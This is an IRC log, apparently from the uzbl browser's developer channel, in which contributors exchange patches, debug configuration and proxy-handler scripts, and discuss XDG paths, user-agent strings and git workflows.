15:15 < rob|> s/commands/strings/ to be exact
15:17 < mason-l> rob|, Exactly.
15:19 < rob|> right, so i guess lwithers' proposal is clearly the way to go
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16:50 < helmut> rob|: until I get my git repository published you can use the git format-patch stuff at http://gnarfk.homelinux.org/~helmut/uzbl/
16:50 < helmut> rob|: I recommend the big expand improvement, because it fixes a buffer overflow. the rest is mostly cleaning
17:02 < mason-l> Hey I'm not sure if anybodys mentioned this yet but I've been noticing a lot of "(uzbl:23843): Gtk-CRITICAL **: gtk_window_get_position: assertion `GTK_IS_WINDOW (window)' failed" recently when using uzbl in gtk-plug mode.
17:03 < mason-l> I think one of the recent changes in uzbl.c doesnt check beforehand if its running in plug mode before referencing the non-existent window.
17:03 < mason-l> It's some recent modification, easily in the last 2 weeks.
17:03 < Dieterbe> maybe something with the geometry patch?
17:03 < mason-l> Quite possibly.
17:04 < Dieterbe> mason-l: anyway, you know how diff works, right? ;)
17:04 < mason-l> I haven't looked into it myself I'm not that familiar with the C side of things.
17:04  * mason-l goes huntin'
17:12 < mason-l> Well the infringing call is coming from line 2769
17:12 < mason-l> of uzbl.c
17:12 < mason-l> In the retreive_geometry() function.
17:15 < mason-l> I've just noticed that function is spelt incorrectly. Should be retrieve_geometry()
17:16 < mason-l> Dieterbe, What is the geo information used for?
17:16 < Dieterbe> --geometry flag
17:17 < mason-l> Dieterbe, But is that then used by scripts or any function calls later on? or is it purely used on startup?
17:18 < Dieterbe> i don't know from the top of my head. but this was a quite small patch. look at only that specific patch
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17:22 < bct> what's gtk-plug mode?
17:23 < mason-l> bct, No window is created and a gtk socket id is passed to uzbl at startup and connects to the socket as if it were its window.
17:23 < uranther> bct, it's used in uzbl_tabbed
17:24 < mason-l> bct, And those sockets live in the gtk.notebook tabs
17:24 < mason-l> (in uzbl_tabbed.py that is, as uranther mentions)
17:25 < mason-l> Dieterbe, I think I've fixed it :D
17:25 < Dieterbe> hooray hooray hooraaaaaay
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17:29 < bct> ah, ok.
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17:29 < bct> didn't know gtk could do that, pretty cool.
17:36 < mason-l> Dieterbe, I've committed the fix to my experimental branch. I'm going to send you a pull request for my whole experimental branch which will includes those updates to uzbl_tabbed.py and the retrieve_geometry() fix.
17:36 < mason-l> Oh and I fixed the spelleng.
17:40 < Dieterbe> that's quit usefull inded
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17:48 < bob_f> mason-l: "spelleng" ?
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17:56 < mason-l> bob_f, :P
17:57 < mason-l> bob_f, Just so you know; it was intentional.
17:58 < Dieterbe> the typo's in my reply were too, obviously
17:59 < mason-l> Pull-request submitted.
17:59 < mason-l> My first C modification and patch :)
17:59 < Dieterbe> mason-l: no github messages please. use mail
18:00 < mason-l> Ohh. I'll send it again then.
18:00 < bob_f> mason-l: Phew. :)
18:00 < Dieterbe> mason-l: see http://www.uzbl.org/contribute.php
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18:09 < mason-l> Pull request sent.
18:13 < predatorfreak> mason-l: I have a question about uzbl_tabbed, do you mind quickly answering it for me?
18:13 < mason-l> predatorfreak, Ask away
18:13 < mason-l> I'm heading off to sleep but I've got time for a quick question.
18:14 < predatorfreak> mason-l: Well, it seems the --uri option completely went away with the rewrite, which makes it impossible to use it with something like pidgin or another application
18:14 < predatorfreak> and using uzblctrl is finicky because you don't know which socket is necessarily right..
18:15 < predatorfreak> is there a sane way to actually get it to spawn a new tab when opening a URL from another application?
18:15 < mason-l> Its not a bug, I've just not added that ability. I can do it now in 5 minutes.
18:16 < predatorfreak> mason-l: When you get the chance, I'd be mighty greatful
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18:27 < errno> i have a problem with the scroll percentage script: it only updates the status_message if i use one of the binds to zoom in/out/100%, any ideas?
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18:52 < mason-l> predatorfreak, Hey are you still around?
18:52 < predatorfreak> mason-l: Yes
18:53 < mason-l> I've finished it :D
18:53 < mason-l> Give me a minute to upload it
18:53 < predatorfreak> mason-l: Yay! :D
18:59 < mason-l> predatorfreak, Direct download: http://github.com/mason-larobina/uzbl/blob/ca982ad25b14317bbf00981b0b475d4bd2ca6d17/examples/data/uzbl/scripts/uzbl_tabbed.py
18:59 < mason-l> Have a good night!
18:59 < predatorfreak> mason-l: Will do!
18:59 < mason-l> (I'll just stick around to see if it works for you though)
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18:59 < predatorfreak> mason-l: and thank you :D
19:00 < mason-l> predatorfreak, No need to supply --uri also. Just load up uzbl_tabbed.py with url after url and it will load each into new tabs in that order
19:00 < predatorfreak> mason-l: Nice :D
19:00 < mason-l> you can also specify not to load the previous session by using the -n command (Handy when launching from things like pidgin)
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19:01 < mason-l> Tomorrow I'll add an option to launch in a previous window (if it exists)
19:01 < predatorfreak> mason-l: Works nicely :D
19:02 < mason-l> predatorfreak, Thats a brand new version too, you should check out the gload and gsave options
19:02 < mason-l> :)
19:02 < mason-l> More update information should be in the usage info at the top
19:02 < mason-l> Night guys.
19:02 < mason-l> 'usage I mean.
19:03 < predatorfreak> Sleep well
19:07 < DuClare> Meh
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20:19 < rob|> helmut: just looked at you expand patch, seems to be ok so far, though your are using strndup() which is a GNU extension
20:21 < rob|> helmut: that can be easily fixed by using g_strndup()
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20:25 < rob|> helmut: applied and pushed to my master, thx
20:48 < helmut> rob|: cool. :-)
20:48 < helmut> rob|: according to my git guru my git repo should work now. (with uzbl.git/.git/)
20:49 < rob|> ok, nice.
20:51 < rob|> anyone running a computer as TV set top box and can recommend some nice gui to use?
20:52 < rob|> i need something simple that my gf can use, too ;)
20:54 < bct> xbmc is really pretty.
20:55 < bct> i could never get it to work properly though.
20:56 < bct> all the media centre packages i've tried kind of suck.
20:56 < rob|> hmm, i suspected that :(
20:57 < bct> if you want something ugly and somewhat unstable, i'm writing one that sucksless.
20:57 < bct> only has a web interface right now.
20:57 < rob|> oh, is it somewhere on the web?
20:58 < bct> it will be in a minute or two
21:01 < bct> http://github.com/bct/booble/tree/master
21:01 < rob|> ok, nice. will look at it :)
21:02 < bct> it's ruby, it needs a newish version of sinatra (at least 0.9, you may even need the github gem) and the json gem.
21:02 < bct> and mplayer.
21:02 < bct> just ./booble.rb; uzbl http://localhost:4567/
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21:04  * kloeri just installed uzbl on Exherbo :)
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21:06 < bct> oooh, is there an exhere for it?
21:07 < kloeri> I haven't pushed it yet
21:07 < kloeri> also, how experimental is uzbl considered? I should probably mask it for testing on Exherbo I guess
21:08 < bct> depends on what you mean by experimental :)
21:08 < Dieterbe> it works kind of reliably, but the internals are constantly changing, the api also. and some features are still missing
21:08 < bct> stuff that makes it to Dieterbe's master branch is pretty stable.
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21:09 < bct> yeah, that.
21:10 < kloeri> I'll mask it for now - Exherbo users are a curious bunch anyway and they know how to unmask things :)
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21:25 < kloeri> bct: http://git.exherbo.org/?p=arbor.git;a=commit;h=6981a0590fc81e49ab02ca080a737edcf5189cc1
21:34 < bct> exherbo's got updated versions of libsoup and webkit-gtk too.
21:34 < bct> looks like it might be time for me to jump ship.
21:35 < kloeri> we're pretty good at getting added quickly
21:36 < bct> unlike The Distro That Shall Not Be Named, lately.
21:36 < kloeri> heh
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22:35 < skatman1744> Hi, can I bind things to mouse events or isn't that supportet yet?
22:43 < bct> somebody has a branch/patch that does it
22:43 < bct> let me see if i can dig it up
22:45 < bct> pretty sure it's krayon's branch
22:45 < bct> http://github.com/krayon/uzbl/tree/master
22:50 < skatman1744> Thanks, that looks good
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23:14 < rob|> http://91.66.177.133:8080/   <- reload a couple of times...
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00:06 < jedahan> what license?
00:09 < bct> GPL3.
00:10 < bct> that piece of info doesn't seem to be on the site, maybe it should be?
00:12 < jedahan> nah its in the LICENSE file, i was just being stupidly lazy
00:12 < jedahan> thanks
00:12 < bob_f> I remember looking it up actually.
00:12 < bob_f> And not finding it easily.
00:13 < bob_f> It's usually in the first paragraph on the home page.
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00:57 < lwithers> whoever mentioned NotifyOSD as lightweight: it needs the whole gnome gconf/gio nonsense :(
00:57 < lwithers> need something like dmenu but for download notifications
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01:03 < jedahan> xmessage? gmessage?
01:04 < DuClare> "Okay"
01:04 < DuClare> No thanks :x
01:09 < lwithers> OOI, what's the general opinion of dbus in here?
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02:55 < scj> I don't know that much about it, tbh, but a standardized IPC protocol for both gtk and qt is a good thing, I guess
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03:09 < uranther> scj, link?
03:09 < scj> wat?
03:23 < uranther> scj, thought you saw an article about it or something :/
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07:16 < gDD> wow, many people, more popular, heh.
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07:34 < gDD> looks like Google don't UserAgent of uzbl, so the google homepage is not completed
07:34 < gDD> don't understand
07:35 < gDD> have to change UA in config, not good method:(
07:37 < krayon> gDD: where else would you set it?
07:37 < gDD> krayon: what do you mean?
07:37 < krayon> gDD: I mean, where should uzbl set the User agent?
07:38 < gDD> krayon: in ~/.config/uzbl/config
07:38 < gDD> krayon: i copied it from /usr/share/uzbl/examples/
07:38 < krayon> Yes.  Do you think it shouldn't be set in there?
07:39 < gDD> krayon: i think is should set in Google's server, not by ourself
07:40 < krayon> gDD: The user agent isn't set by sites you visit, it's defined client side.
07:40 < gDD> krayon: yes, i mean Google should understand it now, because uzbl is Webkit and support JavaScript, maybe should comment to Google
07:41 < krayon> gDD: Oh, you mean that Google doesn't like your user agent and you think it should?
07:41 < krayon> Works for me fwiw
07:41 < gDD> krayon: ya!
07:41 < krayon> but mine is: Uzbl/aa8c2e459cd035f13144c21400f8db1c47a15a36 (X11; U; Linux i686; en-US) Webkit/1.1.6 (A browser built upon the highly renowned web standards compliant and secure Webkit rendering engine that is the heart of several open source web browsers, including Uzbl, Midori and Android Webbrowser)
07:42 < gDD> krayon: and does your Google homepage have a drop down arrow at the top lines of links?
07:44 < gDD> Web Images Videos Maps News Shopping Gmail more »
07:44 < gDD> mine looks like above
07:44 < krayon> hmm
07:44 < gDD> and it should be 13:42 < gDD> krayon: ya!
07:44 < gDD> 13:42 < krayon> but mine is: Uzbl/aa8c2e459cd035f13144c21400f8db1c47a15a36 (X11; U; Linux i686; en-US) Webkit/1.1.6 (A browser built upon the  highly renowned web standards compliant and secure Webkit rendering engine that is the heart of several open source web  browsers, including Uzbl, Midori and Android Webbrowser)
07:44 < ruskie> lol
07:44 < gDD> sorry, error
07:45 < gDD> Web Images Videos Maps News Shopping Gmail more ▼
07:45 < gDD> it should looks like this
07:45 < krayon> gDD: Yeah I think it's what you said: http://www.datapax.com.au/upload/files/uzbl-google.png
07:45 < krayon> gDD: But I haven't ever seen it look any different in any browser I use.
07:47 < gDD> krayon: but how do you open Google Reader, Google Sites...
07:47 < krayon> gDD: I don't use anything from Google except the search engine.
07:48 < krayon> gDD: But it seems if you click more it comes up with a list of ... things
07:49 < gDD> look, this is expected: http://paste.ubuntu.org.cn/i17721
07:50 < krayon> gDD: Oh I see.
07:50 < krayon> :/ They suck then don't they.
07:51 < krayon> User-Agent wasn't designed for stuff like what people use it for, according to the doco it was only for detecting specific browsers that had known bugs etc
07:52 < krayon> People insisting on using it for anything else is just plain annoying.
07:55 < gDD> change to Opera/9.80 or Mozilla/5.0 is a tmp way, but not best way...
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08:37 < gDD> for tests i tried yahoo.com and also show a non-completed homepage :D
08:41 < scj> tmp way?
08:41 < scj> oh nvm
08:42 < scj> reading comprehension is not at peak efficiency
08:43 < gDD> this is better from Chromium: Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0
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08:51 < ruskie> I tend to send a blank User-agent most of the time
08:52 < ruskie> it's fun watching pages crash that expect something in the User-agent
08:53 < scj> you have a odd sense of humor
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08:54 < ruskie> I just wish they would hardcrash
08:54 < ruskie> so that people would stop expecting things there
08:54 < ruskie> and would actually check what they get not just assume it's there
08:55 < scj> most webdevs are php monkeys who don't know better
08:55 < ruskie> php is the one thing that tends to NOT crash there :)
08:55 < ruskie> it's more like asp or jsp that crashes
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09:10 < Dieterbe> morningzz
09:12 < scj> sup
09:15 < Dieterbe> soup
09:17 < bjoernfan> I might have stumbled upon a minor bug. Or a feature. When I'm on a page with #Anchor, scrolls away, then reload, uzbl doesn't bring me back to #Anchor. I think I'm just used to firefox bringing me back to #Anchor, and I won't cry if this is a NOFIX, but, yeah.
09:19 < bjoernfan> Should I do a bug report?
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09:22 < Dieterbe> bandito85: sounds like a bug indeed
09:22 < Dieterbe> report on..
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09:27 < bjoernfan> Dieterbe: Guess that was for me
09:28 < Dieterbe> oops. sorry about that bandito85 . yes bjoernfan it was for you
09:28 < bjoernfan> :>
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09:33 < bandito85> Dieterbe: np :)
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09:47 < rob|> morning
09:47 < hatori> morn
09:50 < hatori> i got myself barrucadus config and install uzbl on my ubuntu karmic box. it launches fine but all the %s maps open an error page with cannot open %s
09:50 < hatori> and i just tried to install go_input.js and while it maps fine, it doesn't work for me
09:50 < hatori> anyone knows whats wrong?
09:51 < hatori> ah
09:51 < Dieterbe> maybe his config is outdated
09:51 < Dieterbe> or your version of uzbl is outdated
09:52 < hatori> probably his config then. its a clone from yesterday
09:56 < hatori> hmye works with the stock conf
09:58 < hatori> though it seems that go_input no longer works
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10:02 < hatori> Dieterbe: any reason why scripts wont work for me?
10:03 < hatori> hm
10:05 < hatori> Dieterbe: i guess i know. but shouldn't xdg_data_home by default be the users home folder .config/uzbl?
10:05 < Dieterbe> no
10:05 < hatori> whys that?
10:05 < scj> depends on the distro
10:05 < Dieterbe> http://www.uzbl.org/faq.php -> What the hell is this 'XDG' stuff??
10:05 < hatori> depends on the distro?
10:06 < Dieterbe> i've never seen any distro setting non-default values btw
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10:07 < scj> the default location of xdg_data_home depends on the distro
10:08 < hatori> uh i always thought /etc/xdg is the systemwide default and ~/.config is the local
10:08 < hatori> if you mean the xdg_data_dirs thats something different
10:08 < Dieterbe> by default yes, and for xdg_CONFIG_ not xdg_DATA_..
10:08 < Dieterbe> just read the spec ok?
10:09 < scj> at one point I tried getting clearing up my home dir from dot files with libetc. sorta worked but it turned out to be a hassle most of the time
10:09 < rob|> hmm, with all this xdg confusion i think it would have been better to just have a 'uzbl_config_root' var...
10:10 < scj> in /etc/uzbl.conf?
10:10 < Dieterbe> scj: whoa libetc looks nice
10:10 < Dieterbe> ugh, i hate configuring userspace tools in admin-level locations
10:11 < hatori> Dieterbe rob|: i just read the spec. i think it's more an issue that ive apparently never come across a program that used local XDG_DATA_*
10:11 < scj> Dieterbe: yeah, it's pretty neat, but there are some stuff that doesn't work with it and it turned out to be a bigger headache than just accepting defeat
10:12 < Dieterbe> scj: that's sad..
10:12 < scj> indeed
10:13 < hatori> in fact ubuntu doesn't have a have a XDG_DATA_HOME set by default unless im wrong and i wouldn't be surprised if it was the same on my gentoo desktop
10:13 < hatori> anyway
10:13 < hatori> w/e
10:13 < hatori> thanks for the info Dieterbe
10:14 < Dieterbe> ubuntu does use it
10:14 < Dieterbe> it comes with a lot of apps that use it :)
10:14 < hatori> well i cant find it in /etc/profile* and i don't have it set in my environment
10:14 < hatori> so i wonder if, where would it come from
10:14 < Dieterbe> echo $XDG_DATA_HOME
10:15 < hatori> its empty i tell you :P
10:15 < Dieterbe> and you're on buntu?
10:15 < hatori> yur
10:15 < Dieterbe> i see
10:16 < scj> I guess we could make uzbl check for $XDG_CONFIG_HOME/uzbl/config and ~/.uzblrc
10:16 < hatori> nah
10:16 < hatori> not uzblrc
10:17 < scj> why not?
10:17 < hatori> because xdg_config_home is a quite acceptable standard
10:17 < hatori> even if its not set it works
10:17 < hatori> i don't have XDG_CONFIG_HOME either but it will just work
10:18 < hatori> the uzbl/config i mean
10:18 < scj> but it's better than having uzbl_config_root in /etc/uzbl.conf, at least
10:19 < hatori> why not just install a minimalistic thing in /etc/xdg/uzbl/config
10:19 < hatori> ?
10:19 < Dieterbe> and keep in mind this is all just _example_ material. everyone is free to use $HOME/.uzbl/myconfigbecauseidontlikexdg or whatever
10:19 < Dieterbe> hatori: because it requires root permissions
10:19 < scj> yeah. things aren't supposed to "just work"
10:19 < Dieterbe> (see faq)
10:20 < hatori> Dieterbe: yeah but so does installing anything to user/share/uzbl
10:20 < hatori> anyway
10:20 < krayon> Until uzbl I'd never head of this XDG thing but I don't really care as long as someone decides a standard.  I like it I guess, making slightly less . dirs in my ${HOME}
10:20 < hatori> i gotta get back to work
10:20 < scj> my biggest beef with $XDG is that not everything follows it
10:21 < Dieterbe> hatori: of course, but that's just for package installation. not for configuring your program
10:21 < Dieterbe> scj: everything *should* follow it, imho
10:21 < scj> agreed
10:21 < krayon> It is new though, I'm sure eventually almost everything will.
10:22 < hatori> i think the biggest problem is when ppl silently switch frome ~/.weerc to xdg. other than that its fine
10:22 < krayon> hatori: /me agrees 100%!
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10:24 < hatori> Dieterbe: i know you said that. but when you configure your own uzbl config it will take precedence over the system xdg path anyway. and when you break stuff you still fall back to the system one.
10:24 < hatori> thinking back i broke my awesome config quite a few times :P
10:24 < scj> awesome is all about config breaking
10:24 < hatori> but anyway. yeah, im out. thanks for the info
10:25 < hatori> ahh Dieterbe XDG_DATA_HOME is ~/.local/share?
10:26 < gDD> _underline?_
10:26 < krayon> hatori: It is in ArchLinux by default.
10:27 < krayon> hatori: Dunno about anything else.
10:27 < Dieterbe> hatori: uzbl has a different config system then other programs. default binds could override customized binds and that could be very confusing for people
10:27 < krayon> gDD: *bold?*
10:27 < gDD> krayon: not bold
10:28 < Dieterbe> hatori: in fact, at one point we tried to ship a default config and let users override it, but this gave problems, so we stopped doing that. (again, see faq)
10:28 < hatori> Dieterbe: its ok. i was thinking around the wrong corner. i get it now. ^^
10:29 < hatori> krayon: ya its hardcoded default in libxdg i guess
10:29 < scj> the example config is actually a lot better than hardcoded defaults, imo
10:30 < krayon> Yeah much better.
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10:33 < gDD> scj: thanks for suggest libetc, looks great!
10:33 < hatori> dis good. me likes :P
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10:33 < hatori> later guys
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10:33 < scj> 3rd times the charm
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10:34 < Dieterbe> scj: so can you share us your experience with libetc? when/how did it go wrong and for which apps?
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10:35 < scj> it's not a silver bullet. some stuff just won't work and then you have to kill the shell, add it to the blacklist, restart
10:37 < scj> I don't remeber exactly what, it was some years ago
10:37 < Dieterbe> k
10:38 < scj> apparently not earlier than 2008-01, since that is when the blacklist was added
10:39 < Dieterbe> Heh. join the club of "bad time estimators"
10:40 < scj> I am quite possibly the worst time estimator on the planet
10:43 < Dieterbe> amazing that this can actually go wrong. i mean what would apps do to break over this..
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10:57 < jdq> hi, I'm using privoxy as proxy server to do adblocking, is there some way to bypass the proxy for certain urls? my problem is that loging into our university portal does not work if I'm using the proxy... currently I edit the config everytime and comment out the proxy server
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10:58 < scj> jdq: you could try using load_start_handler to set the proxy variable depending on the urls
11:02 < errno> jdq: i think you can add the portal url to a privoxy whitelist somewhere
11:03 < jdq> errno: I tried adding it to /etc/privoxy/trust but somehow it doesnt help
11:03 < jdq> scj: the load_start_handler might be an idea
11:05 < rob|> jdq: you can also do it from within status_format or title_format*
11:06 < rob|> jdq: set status_format = @status_format \@(sh -c 'if [ \@uri = "myuri" ]; then foo; fi')\@
11:08 < jdq> rob|: thats neat
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11:16 < jdq> how do I find out which socket I have to write to? I suppose it has to be something like uzblctl -s \@SOCKET -c "set proxy=
11:17 < jdq> where the \@SOCKET part is probably wrong, isnt it?
11:18 < scj> you can just write to the fifo, which is $4
11:18 < scj> socket it $5
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11:18 < rob|> jdq: @socket_dir/uzbl_socket_@NAME
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11:21 < rob|> jdq: to be more precise: set status_format = @status_format \@(sh -c 'if [ \@uri = "myuri" ]; then echo "set proxy_url = myproxy" > \@fifo_dir/\@uzbl_fifo_\@NAME; fi")\@
11:22 < rob|> i would write that script to a file, though and pass it uri and the fifo path as arguments
11:22 < rob|> like ..... \@(myproxysetter.sh '\@uri' '@fifo_dir/\@uzbl_fifo_\@NAME')\@
11:23 < helmut> shouldn't the proxy server really set up by a handle?
11:23 < Dieterbe> rob|: nice way to abuse the statusbar :P
11:23 < Dieterbe> rob|: but don't we update the statusbar _after_ loading the page?
11:24 < rob|> whoops, good point
11:24 < helmut> a decent proxy configuration also is was traditional browsers (firefox) really lack.
11:24 < Dieterbe> we just need some hooks to attach misc things to (uzbl_startup, before_pageload, after_pageload etc)
11:25 < helmut> does uzbl really download everything sequential?
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11:26 < helmut> so when there are images from different servers first one image has to be retrieved before another server can be asked?
11:26 < scj> helmut: you can use webinspector to check
11:27 < helmut> ah. right
11:29 < Dieterbe> most browsers have a max amount of simultaneous downloads which is often suprisingly low
11:29 < Dieterbe> for the Fox, i think it's 2 or 5 by default
11:30 < helmut> ack, but it actually speeds things up, because some content has latency.
11:31 < ruskie> to bad that the current proxy stuff is useless for using privoxy+tor because it doesn't sent full hostnames but tries to resolve them first
11:31 < helmut> so with before_pageload a proxy could only be set up for one page not per url, right?
11:31 < helmut> ruskie: right
11:32 < DuClare> Morning \o/
11:33 < Dieterbe> helmut: you have a point. in theory it's probably possible, but that's not how it works for now
11:34 < helmut> may I ask what currently the top todos are?
11:34 < helmut> (is that documented somewhere?)
11:36 < Dieterbe> i think many people have different priorities, and there's no formal global todo list
11:38 < Dieterbe> but the 'fast and clean socket communication with handlers (eg faster cookies)' and general handler arguments refactoring is considered by many a valuable and needed thing
11:38 < Dieterbe> there are much more things, but opinions differ more on those
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11:38 < DuClare> I'm finally doing the keyboard stuff
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11:40 < DuClare> I still don't like it (won't support IMEs), but since so many people ask about it ..
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11:41 < ruskie> hmm what actualyl handles the proxy? libsoup or uzbl itself?
11:41 < ruskie> IMEs?
11:41 < DuClare> Input Method Editor
11:41 < Dieterbe> ruskie: libsoup
11:42 < Dieterbe> DuClare: "the keyboard stuff" ?
11:42 < DuClare> Dieterbe: Proper combinations rather than some control characters
11:42 < jdq> hm somehow it does not work... anyone got an idea what might be wrong? http://pastebin.com/d78d24829
11:42 < DuClare> Dieterbe: And other keys that have not been usable so far
11:42 < jdq> it doesnt even write to /tmp/uri
11:43 < lwithers> jdq: don't you need a spawn before the path to the script?
11:43 < Dieterbe> DuClare: aha yeah that i would like too :) and what exactly is wrong with it in your opinion?
11:44 < jdq> lwithers: oh yeah I missed that on the pastbin... I tried spawn and sh but neither works
11:45 < DuClare> Dieterbe: Supporting IMEs would imply having a widget with cursor movement commands et all .. which is something our statusbar doesn't have
11:45 < lwithers> jdq: I take it your path is absolute as well? (i.e. starts with a real / ?)
11:46 < lwithers> jdq: and if you're using XDG_DATA_HOME or something that the environment variable is set?
11:46 < rob|> jdq: you don't need quotes in set commands
11:46 < rob|> jdq: and setting a var to a "NULL" value is "set var =<literal space>"
11:46 < DuClare> Dieterbe: And unfortunately I'm re-inventing the wheel because the "global keyboard shortcut" stuff GTK has isn't really suitable for our application :<
11:47 < rob|> jdq: furthermore it is 'proxy_url' not 'proxy'
11:47 < Dieterbe> DuClare: if the only existing wheels are not round, there's no harm in creating a round one
11:48 < jdq> ok so a lot of bugs found, but still the problem persists that the script is not executed
11:48 < jdq> the actual line from my config is set load_start_handler = spawn $HOME/.uzbl/scripts/load_start_handler.sh
11:49 < ruskie> hmm is proxy_url same for socks and normal?
11:50 < jdq> and it should proably be http://127.0.0.1:8118... but these are all things to fix once the script is executed at all
11:51 < lwithers> jdq: when you run uzbl from the commandline, do you get any error messages?
11:51 < rob|> jdq: try to give the full path to the script
11:51 < lwithers> jdq: have you marked the script executable (0755 or so?)
11:51 < lwithers> I'm pretty sure using $HOME like that should work fine
11:51 < rob|> yes it should, though it might be worth a try
11:53 < jdq> even with full path nothing happens
11:54 < jdq> no error messages on the command line
11:54 < lwithers> strace it then
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11:55 < lwithers> jdq: just verified that I can definitely spawn a script using it
11:56 < lwithers> set load_start_handler = spawn $HOME/tmp/test.sh
11:56 < lwithers> that works
11:56 < rob|> yep, works for me, too
11:59 < jdq> neither strace nor uzbl -v report any invocations of scripts I set as load_start_handler
12:00 < jdq> though cookies and history scripts are executed correctly
12:00 < jdq> uzbl version is 90631ed4def3468352102242f887c70e626cee68
12:02 < rob|> might not be available in that version, try 'grep load_start_handler uzbl.c'
12:03 < jdq> its the latest HEAD from experimental branch... grep returns references lines 135 746 and 747
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12:03 < jdq> ah never min
12:03 < jdq> d
12:04 < jdq> I'm blind... setting the load start handler 3 lines after the first one :/
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12:05 < rob|> heh, ok..
12:07 < lwithers> it's always something obvious :-)
12:07 < jdq> hm, setting the proxy in that handler seams to cancel loading the page
12:09 < mason-l> Hey guys
12:16 < DuClare> Hi
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12:39 < bob_f> Could uzbl be made to understand file paths ? e.g. "/foo/bar" as "file:///foo/bar"
12:44 < skatman1744> For me file:///tmp/bar/Google.html works
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13:00 < lwithers> bob_f: yes the file:/// notation does indeed work
13:00 < bob_f> lwithers: Yes, but I'd like "/foo/bar" to be translated to "file:///foo/bar"
13:03 < lwithers> you'd have to be careful that websites couldn't trigger loading stuff off the file system with relative links then
13:04 < lwithers> when do you enter the /foo/bar URL ? on the commandline or in a uzbl command ?
13:04 < bob_f> lwithers: Well, that shouldn't really be possible - "href='/foo'" should always go to currentdomain/foo
13:04 < bob_f> lwithers: Nah, mutt tries to launch "x-www-browser /tmp/tmpfile"
13:05 < lwithers> how about making a wrapper script that detects that?
13:05 < bob_f> I usually use w3m to display html emails but at the moment it's set to uzbl, so thought maybe it'd be a good replacement.
13:05 < lwithers> haven't tried integrating mutt with uzbl yet but it sounds like a good idea
13:06 < lwithers> first going to try to get muttprint to work ofc...
13:07 < lwithers> bob_f: [ "${url:0:1}" == "/" ] && url="file://${url}"
13:07 < helmut> grrrrrrr uzbl is totally mixing signedness!
13:07 < lwithers> or similar
13:07 < helmut> I mean whe have this magic void pointer pointing to ints, strs, floats.
13:09 < bob_f> lwithers: Aha, yes.
13:10 < helmut> it actually points to gchar* and to char* to int and to guint...
13:11 < lwithers> helmut: gchar is char
13:11 < lwithers> and guint is unsigned int
13:11 < lwithers> and it's valid to point an int* at an unsigned int
13:12 < lwithers> (or vice versa)
13:12 < lwithers> not saying it's the cleanest code ever, but it's not actually doing anything wrong
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13:22 < rob|> true, though as someone commented we should migrate to an union solution
13:23 < rob|> at least it'll look like less magic happening ;)
13:23 < helmut> rob|: I'm almost finished with that solution
13:24 < rob|> oh, very cool
13:24 < helmut> and that is why I'm currently not pleased with the signedness warnings that pop up now.
13:25 < rob|> for some reason i took the void** approach when writing that code, no idead why i didn't start with unions..
13:25 < helmut> because of the PTR_V macro
13:25 < rob|> no, that's been introduced at a later point in time
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13:26 < helmut> ok
13:26 < rob|> helmut: may i ask where you're living in .de?
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13:27 < helmut> rob|: western
13:27 < rob|> heh
13:27 < rob|> ok, that was _precise_ ;)
13:28 < helmut> better now? ;-)
13:29 < helmut> hm?
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13:47 < helmut> rob|: http://gnarfk.homelinux.org/~helmut/uzbl/ 0015 is the patch for introducing the union
13:48 < helmut> is it normal that since jul 18 there haven't been any commits on master?
13:52 < Dieterbe> yep
13:52 < Dieterbe> master ~= stable
13:53 < Dieterbe> it's also been a while on experimental, due to lack of time on my end
13:53 < helmut> ah. ok
13:54 < helmut> Dieterbe: you might also want to have a look at my patches. they're mostly trying to clean up things.
13:55 < helmut> Dieterbe: i.e. one patch fixes a buffer overflow, another this void **ptr; and small stuff
13:56 < rob|> Dieterbe: the overflow one is already in my master, for the union one i'm just trying to apply it cleanly
13:57 < Dieterbe> right. i was just gonna say he could ask you or DuClare 
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13:58 < rob|> helmut: it would so such much easier if you'd develop against experimental and i could pull from your git repo..
13:58 < helmut> one thing that really makes me not use uzbl yet is that I can quite easily make it segfault.
13:58 < helmut> rob|: hmm. ok.
13:59 < rob|> the union patch requires lots of manual cleaning in order to apply against my tree
13:59 < helmut> rob|: I'm on vacation starting friday. Maybe I can get that working afterwards.
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13:59 < rob|> right, that'll be nice
13:59 < helmut> rob|: experimental the branch on Dieter's repo?
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13:59 < helmut> s/^/is /
13:59 < rob|> yeah
14:00 < rob|> or my master branch
14:00 < Dieterbe> or rob|'s. if you want to have rob| merge your code, i suggest you develop against his branch
14:00 < rob|> usually i push more often than dieter
14:01 < rob|> helmut: note i keep my master in sync with diet's experimental
14:01 < helmut> ok. I need to first learn this branching stuff.
14:01 < helmut> i've used darcs for a long time and for darcs there is branch == repository. if you want to branch something, you clone the repo. git does this totally different.
14:02 < jdq> helmut: how do you merge between different branches in darcs? I would expect a different repository to be a fork rather than a branch
14:03 < helmut> jdq: you pull. ;-)
14:03 < rob|> helmut: http://www.kernel.org/pub/software/scm/git/docs/v1.2.6/tutorial.html  <-- "Merging branches"
14:03 < rob|> err, managing branches
14:03 < helmut> jdq: after darcs just collects patches. technically darcs is not version control, but patch control.
14:04 < helmut> examination office hours just started, so I'll first do that. should be back soon.
14:04 < jdq> what was the saying: "darcs is so 2006" ;)
14:05 < helmut> darcs isn't suited for projects with multiple committers, but it certainly has its advantages.
14:05 < helmut> -> gone
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14:46 < helmut> I read yet another tutorial now. Could someone try whether pulling branch helmut from http://gnarfk.homelinux.org/~helmut/uzbl.git/ is possible now?
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15:08 < helmut> rob|: i managed to merge my changes to experimental
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15:19 < rob|> helmut: nice. did you try to merge with my master?
15:22 < helmut> rob|: no. not yet
15:22 < helmut> rob|: I'm not even sure my repo is pullable yet
15:22 < helmut> rob|: when that works I can do more merging
15:26 < rob|> alright
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15:43 < helmut> rob|: could you maybe try againg to add my branch? this time without the additional /.git/
15:48 < rob|> sure, this url http://gnarfk.homelinux.org/~helmut/uzbl.git right?
15:48 < rob|> ok, seems to wrk
15:49 < rob|> *work
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15:51 < gDD> i found there is a problem maybe it not to late to report before uzbl's structure become static
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15:52 < gDD> the status bar don't support input method like SCIM?
15:52 < rob|> helmut: you could try adding me as remote:  git remote add -f rob git://github.com/robm/uzbl.git
15:52 < rob|> helmut: and pull my master: git pull rob master
15:53 < gDD> anyway, i could select char form other place then i can use Shift-Insert to paste something to status bar.
15:54 < rob|> gDD: true, we didn't put any work into input method handling yet
15:54 < gDD> rob|: is there have a plan?
15:55 < rob|> well, not sure to be honest
15:55 < gDD> that's a bad new for non-complete-English user.
15:55 < helmut> rob|: where does that pull to? the current branch?
15:56 < gDD> s/new/news/
15:56 < rob|> helmut: yes
